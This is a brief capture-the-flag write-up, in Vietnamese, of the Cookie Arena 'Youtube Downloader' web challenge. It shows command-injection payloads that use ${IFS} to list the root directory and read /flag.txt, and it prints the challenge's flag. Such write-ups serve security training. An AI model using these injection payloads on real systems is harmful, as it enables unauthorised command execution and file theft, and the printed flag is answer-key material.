---
# System prepended metadata

title: Youtube Downloader (cookie arena)
tags: [cookie arena, WEB]

---

# Youtube Downloader (cookie arena)

![image](https://hackmd.io/_uploads/SJmtdWsS6.png)

server sẽ trả về link ảnh của video youtube
![image](https://hackmd.io/_uploads/SkU7o-sBp.png)


![image](https://hackmd.io/_uploads/Bk25K-or6.png)
tôi thử thêm ```;ls${IFS}-la${IFS}/``` để đọc các file của thư mục root và được file flag.txt 
tất cả các file này được hiển thị trong đường link mà server tạo file  ảnh
hệ thống này bị lỗi command injection
tôi đọc file flag.txt ```;cat${IFS}/flag.txt```và được ```"CHH{Ea5y_cOmmaND_inj3c7Ion_3fb69789d4e5d0a6f631d339da9b391b}"```
![image](https://hackmd.io/_uploads/r1GtqboBa.png)
